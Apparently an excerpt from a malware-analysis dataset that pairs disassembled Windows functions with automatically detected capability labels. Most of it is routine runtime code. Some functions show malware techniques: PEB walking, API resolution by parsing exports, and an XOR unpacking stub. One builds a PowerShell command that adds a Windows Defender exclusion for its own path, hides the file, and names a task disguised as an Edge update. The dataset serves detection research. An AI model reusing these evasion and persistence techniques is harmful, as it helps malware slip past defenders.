joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001d19f
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1001d23c
push ebx
push esi
call fcn.1001d168
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1001d0fc
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1001d1e9
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1001d23b
push edi
push eax
call fcn.1001e15a
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1001d209
call fcn.1001bc44
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1001d23a
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1001d0fc
add esp, 0x20
test eax, eax
jne 0x1001d228
push edi
call fcn.1001bc44
jmp 0x1001d230
push ebx
call fcn.1001bc44
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x1001d4a9
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10024cc8
push 0x10024cc0
push str.FlsAlloc
push 0x1f
call fcn.1001d3c5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1001d4dd
push dword [ebp + 8]
mov ecx, esi
call dword [0x10023150]
call esi
jmp 0x1001d4e3
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x1001d527
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10024cd8
push 0x10024cd0
push str.FlsGetValue
push 0x21
call fcn.1001d3c5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1001d55e
push dword [ebp + 8]
mov ecx, esi
call dword [0x10023150]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x1001d566
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10024ce0
push 0x10024cd8
push str.FlsSetValue
push 0x22
call fcn.1001d3c5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1001d5a0
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x10023150]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x10022c20
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10022c4d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10022c4d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x408010
Capabilities:
Encode data using xor

Disassembly:
add eax, 0x5ddd6a46
xor dword [ecx + 0x2ebfc75], ecx
fst st(4)

Function at 0x409ed0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub al, byte [esi]
mov edx, es
sub byte [edi - 0x67], 0xd0
aad 0x30
Function at 0x403805
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x477c8c]
mov ecx, dword [0x477b20]
sub esp, 0x808
push esi
shr eax, 3
xor esi, esi
cmp eax, esi
jbe 0x4038a2
push ebx
push edi
mov edi, ecx
mov ebx, eax
cmp dword [0x477c8c], 0x5d
jne 0x403894
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProfileSectionA]
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push esi
lea eax, [ebp - 8]
push eax
push esi
lea eax, [ebp - 0x408]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x402c68
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleWindowInfo]
push esi
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x808]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleA]
push edi
call fcn.00402fc4
add edi, 8
dec ebx
jne 0x403829
pop edi
pop ebx
pop esi
leave
ret
Function at 0x408717
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42fa28]
jne 0x408721
repz ret
jmp fcn.0040c5f3

Function at 0x40c3d4
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00406a3d
and dword [ebp - 4], 0
cmp dword [0x4376f0], 0
mov ebx, eax
jne 0x40c485
push 0x4024cc
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40c536
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4024c0
push edi
call esi
test eax, eax
je 0x40c536
push eax
call fcn.004069cb
mov dword [esp], 0x4024b0
push edi
mov dword [0x4376f0], eax
call esi
push eax
call fcn.004069cb
mov dword [esp], 0x40249c
push edi
mov dword [0x4376f4], eax
call esi
push eax
call fcn.004069cb
mov dword [esp], 0x402480
push edi
mov dword [0x4376f8], eax
call esi
push eax
call fcn.004069cb
pop ecx
mov dword [0x437700], eax
test eax, eax
je 0x40c485
push 0x402468
push edi
call esi
push eax
call fcn.004069cb
pop ecx
mov dword [0x4376fc], eax
mov eax, dword [0x4376fc]
cmp eax, ebx
je 0x40c4dd
cmp dword [0x437700], ebx
je 0x40c4dd
push eax
call fcn.00406a46
push dword [0x437700]
mov esi, eax
call fcn.00406a46
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40c4dd
test edi, edi
je 0x40c4dd
call esi
test eax, eax
je 0x40c4d4
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40c4d4
test byte [ebp - 0xc], 1
jne 0x40c4dd
or dword [ebp + 0x10], 0x200000
jmp 0x40c516
mov eax, dword [0x4376f4]
cmp eax, ebx
je 0x40c516
push eax
call fcn.00406a46
pop ecx
test eax, eax
je 0x40c516
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40c516
mov eax, dword [0x4376f8]
cmp eax, ebx
je 0x40c516
push eax
call fcn.00406a46
pop ecx
test eax, eax
je 0x40c516
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4376f0]
call fcn.00406a46
pop ecx
test eax, eax
je 0x40c536
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40c538
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100010f0
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x10]
ret

Function at 0x10001110
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
mov eax, dword [eax]
mov eax, dword [eax + 0x10]
ret

Function at 0x10001820
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov edx, dword [ebp + 8]
push ebx
mov dword [ebp - 0xc], ecx
push esi
mov eax, dword [edx + 0x3c]
push edi
xor edi, edi
mov eax, dword [eax + edx + 0x78]
add eax, edx
mov ecx, dword [eax + 0x14]
mov esi, dword [eax + 0x1c]
mov ebx, dword [eax + 0x18]
add esi, edx
mov dword [ebp - 8], ecx
mov ecx, dword [eax + 0x20]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
mov dword [ebp - 4], esi
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 8], edi
jbe 0x100018c0
mov ecx, dword [esi + edi*4]
mov dword [ebp - 0x18], ecx
test ecx, ecx
je 0x100018ba
xor esi, esi
test ebx, ebx
je 0x100018b7
movzx eax, word [eax + esi*2]
cmp eax, edi
jne 0x100018af
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov eax, dword [eax + esi*4]
add eax, edx
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x100018a3
test dl, dl
je 0x1000189f
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x100018a3
add eax, 2
add ecx, 2
test dl, dl
jne 0x10001883
xor eax, eax
jmp 0x100018a8
sbb eax, eax
or eax, 1
test eax, eax
je 0x100018c9
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0x14]
inc esi
cmp esi, ebx
jb 0x10001870
mov esi, dword [ebp - 4]
inc edi
cmp edi, dword [ebp - 8]
jb 0x10001860
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x18]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10002300
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push esi
mov esi, ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1000231a
or eax, 6
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
pop esi
ret

Function at 0x10002440
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001b83b
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x480
mov eax, dword [0x1002702c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x104
lea eax, [ebp - 0x160]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x160]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100024a0
sub ecx, edx
lea eax, [ecx + 1]
push eax
lea eax, [ebp - 0x160]
push eax
lea eax, [ebp - 0x470]
push eax
call fcn.1000b3bf
add esp, 0xc
lea eax, [ebp - 0x470]
lea ecx, [ebp - 0x488]
push eax
call fcn.10002b40
mov dword [ebp - 4], 0
cmp dword [0x10027b70], 0
je 0x10002582
mov eax, dword [0x10022d40]
movq xmm0, qword [str.powershell.exe]
mov dword [ebp - 0x1c], eax
mov ax, word [0x10022d44]
mov word [ebp - 0x18], ax
movzx eax, byte [0x10022d46]
mov byte [ebp - 0x16], al
mov eax, dword [0x10022d70]
mov dword [ebp - 0x2c], eax
movzx eax, byte [0x10022d74]
movq qword [ebp - 0x24], xmm0
movups xmm0, xmmword [str.__Command__Add_MpPreference__ExclusionPath_]
mov byte [ebp - 0x28], al
lea eax, [ebp - 0x160]
push eax
movups xmmword [ebp - 0x54], xmm0
lea eax, [ebp - 0x54]
movups xmm0, xmmword [0x10022d58]
push eax
lea eax, [ebp - 0x268]
movups xmmword [ebp - 0x44], xmm0
push str._s_s_
movq xmm0, qword [0x10022d68]
push eax
movq qword [ebp - 0x34], xmm0
call fcn.100010d0
add esp, 0x10
lea eax, [ebp - 0x268]
push 0
push 0
push eax
lea eax, [ebp - 0x24]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [ebp - 0x160]
call fcn.10002300
push dword [0x10029770]
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
push dword [0x10029770]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 0x18
lea eax, [ebp - 0x488]
mov ecx, esp
mov dword [ebp - 0x48c], esp
push eax
call fcn.10002c70
sub esp, 0x18
mov byte [ebp - 4], 1
mov ecx, esp
push str.MicrosoftWindowsShellMicrosoftEdgeUpdateTaskMachineUAC1
call fcn.10002b40
xor ecx, ecx
mov byte [ebp - 4], 0
call fcn.10003200
add esp, 0x30
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x1000dffc
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x1000e03b
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1000e03b
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1000e03b
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x1000e03b
cmp dword [ecx + 0x74], 0xe
jbe 0x1000e03b
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x1001296d
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1001fe90
push 0x1001fe88
push str.FlsAlloc
push 0x1f
call fcn.1001282c
mov esi, eax
add esp, 0x10
test esi, esi
je 0x100129a1
push dword [ebp + 8]
mov ecx, esi
call dword [0x1001c1ec]
call esi
jmp 0x100129a7
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x100129eb
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1001fea0
push 0x1001fe98
push str.FlsGetValue
push 0x21
call fcn.1001282c
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10012a22
push dword [ebp + 8]
mov ecx, esi
call dword [0x1001c1ec]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x10012a2a
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1001fea8
push 0x1001fea0
push str.FlsSetValue
push 0x22
call fcn.1001282c
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10012a64
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x1001c1ec]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x10015e99
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x10015f36
push ebx
push esi
call fcn.10015e62
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.100121d1
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x10015ee3
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10015f35
push edi
push eax
call fcn.1000f57c
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x10015f03
call fcn.1000f542
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10015f34
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.100121d1
add esp, 0x20
test eax, eax
jne 0x10015f22
push edi
call fcn.1000f542
jmp 0x10015f2a
push ebx
call fcn.1000f542
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x10015f39
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x10015f4a
pop esi
ret
push ebx
push edi
push esi
call fcn.10015e62
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.1000f57c
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x10015f72
push ebx
push esi
push edi
call fcn.10005630
add esp, 0xc
push 0
call fcn.1000f542
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x10016342
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10015f87

Function at 0x1001b3f0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1001b41d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1001b41d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
pop eax
nop
nop
nop
nop
add eax, 0x403daa
nop
nop
sub eax, 0x403d50
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
popal
nop
nop
nop
nop
nop
jmp loc.00401219
Function at 0x10009530
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x10096cb0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
mov eax, dword [esp + 0x30]
push ebp
push esi
push edi
mov ecx, dword [eax]
push ecx
lea ecx, [esp + 0x10]
call fcn.1008c30f
mov esi, dword [esp + 0xc]
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0
xor ebp, ebp
call fcn.1000a430
mov ecx, dword [esp + 0x40]
mov byte [esp + 0x2c], 1
cmp ecx, 3
ja case.default.0x10009584
jmp dword [ecx*4 + 0x100096ec]
mov al, byte [esi]
test al, al
je 0x100095b2
cmp al, 0x20
je 0x1000959e
cmp al, 0xa1
jne 0x100095b2
cmp byte [esi + 1], al
jne 0x100095b2
test al, 0x80
je 0x100095aa
mov al, byte [esi + 1]
inc esi
test al, al
je 0x100095b2
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x10009591
test ecx, ecx
je case.default.0x10009584
mov dl, byte [esi]
xor ecx, ecx
test dl, dl
mov eax, esi
je case.default.0x10009584
mov edi, dword [esp + 0x3c]
mov dl, byte [eax]
test dl, 0x80
je 0x100095f8
cmp dl, 0xa1
jne 0x100095ec
cmp byte [eax + 1], 0xa1
jne 0x100095ec
test ecx, ecx
jne 0x100095e4
mov edi, eax
mov ecx, 1
inc eax
jmp 0x1000960c
mov dl, byte [eax + 1]
inc eax
xor ecx, ecx
test dl, dl
je 0x10009626
jmp 0x1000960c
cmp dl, 0x20
jne 0x1000960a
test ecx, ecx
jne 0x10009603
mov edi, eax
mov ecx, 1
jmp 0x1000960c
xor ecx, ecx
mov dl, byte [eax + 1]
inc eax
test dl, dl
jne 0x100095cc
cmp ecx, 1
jne case.default.0x10009584
mov dl, byte [edi]
mov ebp, edi
mov byte [esp + 0x3c], dl
mov byte [edi], 0
jmp case.default.0x10009584
mov dl, byte [eax - 1]
lea edi, [eax - 1]
mov ebp, edi
mov byte [esp + 0x3c], dl
mov byte [edi], 0
jmp case.default.0x10009584
mov al, byte [esi]
test al, al
je 0x1000967e
test al, 0x80
mov byte [esp + 0x3c], al
je 0x10009664
mov cl, byte [esi + 1]
test cl, cl
je 0x1000967e
cmp al, 0xa1
jne 0x10009654
cmp cl, al
je 0x10009661
mov ax, word [esi]
lea ecx, [esp + 0x10]
push eax
call fcn.1000a700
inc esi
jmp 0x10009676
cmp al, 0x20
je 0x10009676
mov ecx, dword [esp + 0x3c]
push ecx
lea ecx, [esp + 0x14]
call fcn.1000a740
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x1000963d
push 0
lea ecx, [esp + 0x14]
call fcn.1000a740
mov esi, dword [esp + 0x20]
mov eax, dword [esp + 0x18]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.100136d0
mov edx, dword [esp + 0x38]
add esp, 4
test ebp, ebp
mov dword [edx], eax
je 0x100096b1
mov al, byte [esp + 0x3c]
mov byte [ebp], al
lea ecx, [esp + 0x10]
mov byte [esp + 0x2c], 0
mov dword [esp + 0x10], 0x1009bda8
call fcn.1000a630
lea ecx, [esp + 0xc]
mov dword [esp + 0x2c], 0xffffffff
call fcn.1008c2a1
mov ecx, dword [esp + 0x24]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x24
ret
Function at 0x1000e1d0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x10096feb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.1008c016
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x1000e252
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.10089f29
mov eax, dword [eax]
push 0x100b6c70
push eax
call fcn.1007a374
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.1008c2a1
test bl, bl
je 0x1000e252
push 0x100b6c70
lea ecx, [esp + 0xc]
call fcn.1008c631
push 0x100b6c7c
lea ecx, [esp + 0xc]
call fcn.1008c631
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x1000e28e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.1008c2a1
jmp 0x1000e359
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x1000e312
lea edx, [esp + 0x7c]
push 0x100b6c78
push edx
call fcn.1007a374
add esp, 8
test eax, eax
je 0x1000e312
lea eax, [esp + 0x7c]
push 0x100b6c74
push eax
call fcn.1007a374
add esp, 8
test eax, eax
je 0x1000e312
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x1000e2a2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.1008c2a1
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x1000eb50
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x1000ebb2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc